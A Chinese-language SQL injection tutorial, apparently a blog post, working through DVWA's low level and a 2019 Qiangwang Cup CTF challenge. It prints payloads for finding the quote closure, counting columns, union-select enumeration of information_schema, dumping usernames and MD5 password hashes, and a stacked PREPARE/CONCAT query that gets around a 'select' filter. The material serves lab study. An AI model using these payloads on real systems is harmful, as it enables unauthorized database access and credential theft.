以dvwa-low为例子
1.判断注入点
从输入框和url里的参数来找
这里就一个输入框
2.判断闭合方式
?id=1asdf
有报错:数字型,无闭合或)闭合
无报错:字符型,再判断闭合方式,‘ “ ’)| ”)
输入1aaa’报错
1 | You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1aaa''' at line 1 |
去掉两边的''
,中间就是'1aaa''
可知闭合方式是单引号
输入1' or '1' = '1' #
回显出来了所有id的信息,说明#有效注释了后面的单引号
3.判断字段数
order by
因为group by
和order by
允许使用字段的序号来查询,因此我们在不知道字段名的情况下也可以通过二分查询法获知字段数量。
输入1' order by 1#
和1' order by 2#
正常显示,1' order by 3#
报错
1 | Unknown column '3' in 'order clause' |
说明只有两个字段,也就是所回显的两个字段。
4.判断字段回显位置
union select
union联合查询是为了判断SQL语句中哪个地方可以被代替,代替的地方是可以在网页上显示出来的{ 例:若 select 1,2,3; 中的2这个地方可以被代替,我们就可以通过一些SQL语句或数据库函数(如 database())来代替2的位置,让自己需要查询到的信息显示到网页上。}
我们输入1' union select 1,2 #
,回显如下
1 | ID: 1' union select 1,2 # |
我们可以得知字段的顺序、以及这两个字段都可以被替代
5.查询数据库名及版本
1 | ID: 1' union select version(),database()# |
6.查询表名
注:mysql5以上默认在数据库中存放一个information_schema的数据库,有几个可以利用的表
schema_name 储存了所有数据库的库名
table_schema 储存了数据库名
tables 储存了数据库库名,以及该库中包含的表名
table_schema 储存了数据库名
table_name 储存了表名group_concat(column_name) from information_schema.columns where table_schema=’***’ 列出所有表的所有列名
知道了数据库名为dvwa且版本>5之后,我们就可以利用上述数据库来查询表名
因为直接查询tables_name会返回数行数据,所以不能直接1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
group_concat函数是将查询到的每行结果进行合并,每一行合并的结果以逗号分隔开
1' union select 'a',group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
结果报错了
1 | Illegal mix of collations for operation 'UNION' |
查资料得知是union连接了不一样的编码规则的字段导致的,解决办法是在sql语句from前添加COLLATE utf8_general_ci(如果你知道它的编码规则的话,不过可以多试试吧)
1 | 1' union select 'a',group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema='dvwa' # |
得到表名
1 | ID: 1' union select 'a',group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema='dvwa' # |
有guestbook和users两张表。
7.查询列名
1 | 1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' # |
得到
1 | ID: 1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users' # |
1 | ID: 1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='guestbook' # |
8.下载数据
1 | union select user,password from users # |
1 | ID: 1' union select user,password from users # |
可以看到密码是md5过的,撞库可得密码
强网杯 2019 随便注
堆叠注入
所谓堆叠注入的堆叠应该说的是多条语句的意思
mysql里用;来分割命令,我们可以尝试在参数中用;加一条命令进去试试,若存在,即可用show databases
来查询数据库名,show tables
查看表名
用show columns from tableName
和desc tableName
来查看表的结果
通过正则表达式过滤了select但没过滤;,尝试使用堆叠注入
发现可行,查看数据表
查看表的结构有两种方式
1 | show columns from tableName; |
若表名是纯数字,则需要用`来包裹
因为select被过滤了,我们可以通过预编译来拼接select
1 | PREPARE hacker from concat('se','lect',' * from `1919810931114514');EXECUTE hacker; |
![image-20220929204450560](SQL Injection/image-20220929204450560.png)